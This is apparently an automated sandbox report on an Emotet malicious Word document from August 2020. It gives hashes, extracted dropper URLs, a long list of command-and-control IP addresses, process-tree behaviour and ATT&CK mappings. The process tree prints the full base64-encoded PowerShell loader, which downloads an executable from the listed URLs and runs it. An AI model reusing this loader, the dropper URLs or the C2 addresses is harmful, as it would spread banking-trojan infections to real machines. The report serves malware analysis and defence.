emotet | 3f5ff54ee1bbd646e9c3b15d2ad35d9bd78c11037dc671bd7d935aaa05438158

General

Target
emotet_e2_3f5ff54ee1bbd646e9c3b15d2ad35d9bd78c11037dc671bd7d935aaa05438158_2020-08-18__071438._doc.doc
Size 178KB
Sample200818-gntnvh3aea
SHA256 3f5ff54ee1bbd646e9c3b15d2ad35d9bd78c11037dc671bd7d935aaa05438158
MD5 2889b72fb2fb3f2c264925b2cccc356d
SHA1 1bc6a70f3e18e0f683774581abf1ad2a31fab03b
SHA512 e54b18c3953796220a634c7cad47031463e7a71a58efd55e4bb657267b5ccea7bd7bd028e5cc5d1f51700db8f14587b887e11a55ecce6b187f491b1c3783701a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://guthixgreengold.com/wp-admin/ebw_3fc5_3giqkal4/
exe.dropper
https://groovyboove.co.uk/tmp/q8_r18cu_g/
exe.dropper
http://hangtheuducthanh.com/site/t258v_2y_5ay5bd/
exe.dropper
http://intelligence.com.sg/registration/p_z02_d/
exe.dropper
http://immocop.ch/banner/zrg_i_rav/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
79.98.24.39:8080
5.196.74.210:8080
188.83.220.2:443
109.116.214.124:443
203.117.253.142:80
104.131.11.150:443
97.82.79.83:80
121.124.124.40:7080
83.169.36.251:8080
89.186.91.200:443
70.167.215.250:8080
204.197.146.48:80
167.86.90.214:8080
190.160.53.126:80
95.213.236.64:8080
47.144.21.12:443
169.239.182.217:8080
62.75.141.82:80
181.211.11.242:80
37.70.8.161:80
190.55.181.54:443
78.24.219.147:8080
93.51.50.171:8080
139.59.60.244:8080
91.211.88.52:7080
139.130.242.43:80
24.233.112.152:80
185.94.252.104:443
74.208.45.104:8080
47.146.117.214:80
137.59.187.107:8080
174.102.48.180:80
199.101.86.142:8080
116.203.32.252:8080
103.86.49.11:8080
81.2.235.111:8080
200.41.121.90:80
85.105.205.77:8080
61.19.246.238:443
110.145.77.103:80
107.185.211.16:80
95.179.229.244:8080
85.152.162.105:80
142.105.151.124:443
41.60.200.34:80
203.153.216.189:7080
85.66.181.138:80
113.160.130.116:8443
46.105.131.79:8080
181.230.116.163:80
168.235.67.138:7080
24.179.13.119:80
72.12.127.184:443
75.139.38.211:80
109.74.5.95:8080
24.43.99.75:80
87.106.136.232:8080
176.111.60.55:8080
152.168.248.128:443
74.120.55.163:80
183.101.175.193:80
68.188.112.97:80
62.138.26.28:8080
5.39.91.110:7080
24.137.76.62:80
37.139.21.175:8080
2.58.16.85:7080
209.141.54.221:8080
37.187.72.193:8080
104.236.246.93:8080
201.173.217.124:443
222.214.218.37:4143
157.147.76.151:80
87.106.139.101:8080
189.212.199.126:443
173.62.217.22:443
180.92.239.110:8080
104.131.44.150:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	504	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1720-14-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/1720-14-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/3092-17-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/3092-17-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	2668	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1720	X2f9qot8.exe
3092	Windows.Services.TargetedContent.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfh264enc\Windows.Services.TargetedContent.exe	X2f9qot8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2668	powersheLL.exe
2668	powersheLL.exe
2668	powersheLL.exe
3092	Windows.Services.TargetedContent.exe
3092	Windows.Services.TargetedContent.exe
3092	Windows.Services.TargetedContent.exe
3092	Windows.Services.TargetedContent.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
1720	X2f9qot8.exe
1720	X2f9qot8.exe
3092	Windows.Services.TargetedContent.exe
3092	Windows.Services.TargetedContent.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 1720	2668	powersheLL.exe	77
PID 2668 wrote to memory of 1720	2668	powersheLL.exe	77
PID 2668 wrote to memory of 1720	2668	powersheLL.exe	77
PID 1720 wrote to memory of 3092	1720	X2f9qot8.exe	78
PID 1720 wrote to memory of 3092	1720	X2f9qot8.exe	78
PID 1720 wrote to memory of 3092	1720	X2f9qot8.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3f5ff54ee1bbd646e9c3b15d2ad35d9bd78c11037dc671bd7d935aaa05438158_2020-08-18__071438._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3712

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAGwAaAA2ADEAMwBlAD0AKAAnAEgAaQBpAGoAJwArACcAMQB3ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgB0AEUATQBQAFwAbwBmAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBgAFIASQBgAFQAeQBwAHIATwBgAFQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAJwArACcAMgAsACcAKwAnACAAdABsAHMAMQAxACwAJwArACcAIAB0AGwAcwAnACkAOwAkAFIAMQB6AG0AdgBqAGkAIAA9ACAAKAAnAFgAJwArACcAMgBmACcAKwAnADkAcQBvAHQAOAAnACkAOwAkAFEANwBlAHAAdgB2ADUAPQAoACcATwBoAHQAOAAnACsAJwB5AGMAagAnACkAOwAkAEEAOAB1AHIAdQBzAHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEsAdQAyAE8AJwArACcAZgAnACsAJwBmAGkAYwBlACcAKwAnADIAMAAnACsAJwAxADkASwB1ADIAJwApACAALQBDAHIARQBwAGwAYQBDAEUAJwBLAHUAMgAnACwAWwBDAGgAQQByAF0AOQAyACkAKwAkAFIAMQB6AG0AdgBqAGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFIAZwBtAGsAaQByAGMAPQAoACcARQAnACsAJwBwADUAZQBsAHUAJwArACcAdQAnACkAOwAkAFEAcQB1AGcANQBhADcAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAHQAOwAkAEsAYgA1AHYANgBkADkAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBnACcAKwAnAHUAdAAnACsAJwBoAGkAJwArACcAeAAnACsAJwBnACcAKwAnAHIAZQBlACcAKwAnAG4AZwBvAGwAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAnACsAJwBiAHcAXwAnACsAJwAzAGYAYwAnACsAJwA1AF8AMwAnACsAJwBnACcAKwAnAGkAcQAnACsAJwBrACcAKwAnAGEAJwArACcAbAA0AC8AKgBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AZwByAG8AJwArACcAbwB2AHkAJwArACcAYgBvAG8AdgBlACcAKwAnAC4AYwBvAC4AdQBrACcAKwAnAC8AdAAnACsAJwBtACcAKwAnAHAALwBxADgAXwAnACsAJwByADEAOAAnACsAJwBjAHUAXwBnACcAKwAnAC8AJwArACcAKgBoAHQAdABwADoALwAvAGgAJwArACcAYQBuAGcAdABoAGUAJwArACcAdQBkAHUAYwB0AGgAYQBuACcAKwAnAGgALgAnACsAJwBjACcAKwAnAG8AbQAvAHMAaQAnACsAJwB0ACcAKwAnAGUALwAnACsAJwB0ADIANQA4ACcAKwAnAHYAXwAyAHkAXwA1AGEAeQAnACsAJwA1AGIAJwArACcAZAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdABlACcAKwAnAGwAJwArACcAbABpACcAKwAnAGcAZQAnACsAJwBuAGMAJwArACcAZQAuAGMAbwBtAC4AcwBnACcAKwAnAC8AcgAnACsAJwBlAGcAJwArACcAaQBzACcAKwAnAHQAcgBhACcAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4ALwBwAF8AegAwADIAXwBkAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAvAGkAJwArACcAbQBtAG8AYwAnACsAJwBvACcAKwAnAHAALgBjACcAKwAnAGgALwBiAGEAbgBuAGUAcgAvAHoAJwArACcAcgBnAF8AaQAnACsAJwBfAHIAYQB2AC8AJwApAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAawBkADcAYQByAHoAPQAoACcASwAnACsAJwBsAGYAJwArACcAcAB0AHcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGcAdgBmADYAZAB0ACAAaQBuACAAJABLAGIANQB2ADYAZAA5ACkAewB0AHIAeQB7ACQAUQBxAHUAZwA1AGEANwAuACIARABgAE8AdwBuAGwAYABPAEEAZABGAGkAbABlACIAKAAkAEMAZwB2AGYANgBkAHQALAAgACQAQQA4AHUAcgB1AHMAcgApADsAJABYAGYANABpAGgAeABtAD0AKAAnAFYAcQBqACcAKwAnAGcAMgB6AHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAOAB1AHIAdQBzAHIAKQAuACIATABlAG4AYABnAHQASAAiACAALQBnAGUAIAAyADAAMAA0ADUAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQA4AHUAcgB1AHMAcgApADsAJABUAHcAbwBfAG4AMwBnAD0AKAAnAFEANwA5AG0AJwArACcAeABmAHUAJwApADsAYgByAGUAYQBrADsAJABEAGkAZgAzAG0AdQB5AD0AKAAnAFkAYwB1AGkAJwArACcAdAAnACsAJwA4AHoAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADQAMwBhADYAMQB0AD0AKAAnAFEAMgB1ADIAbwAnACsAJwA1ACcAKwAnAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\mfh264enc\Windows.Services.TargetedContent.exe
    "C:\Windows\SysWOW64\mfh264enc\Windows.Services.TargetedContent.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1720-14-0x0000000002230000-0x000000000223C000-memory.dmp

Download

memory/2668-10-0x000001E2E9AD0000-0x000001E2E9AD1000-memory.dmp

Download

memory/2668-9-0x000001E2E9920000-0x000001E2E9921000-memory.dmp

Download

memory/2668-8-0x00007FF9A3780000-0x00007FF9A416C000-memory.dmp

Download

memory/3092-17-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/3712-0-0x00007FF9AB060000-0x00007FF9AB726000-memory.dmp

Download

memory/3712-3-0x0000026727636000-0x000002672769E000-memory.dmp

Download

memory/3712-2-0x0000026727636000-0x000002672769E000-memory.dmp

Download

memory/3712-1-0x0000026727636000-0x000002672769E000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads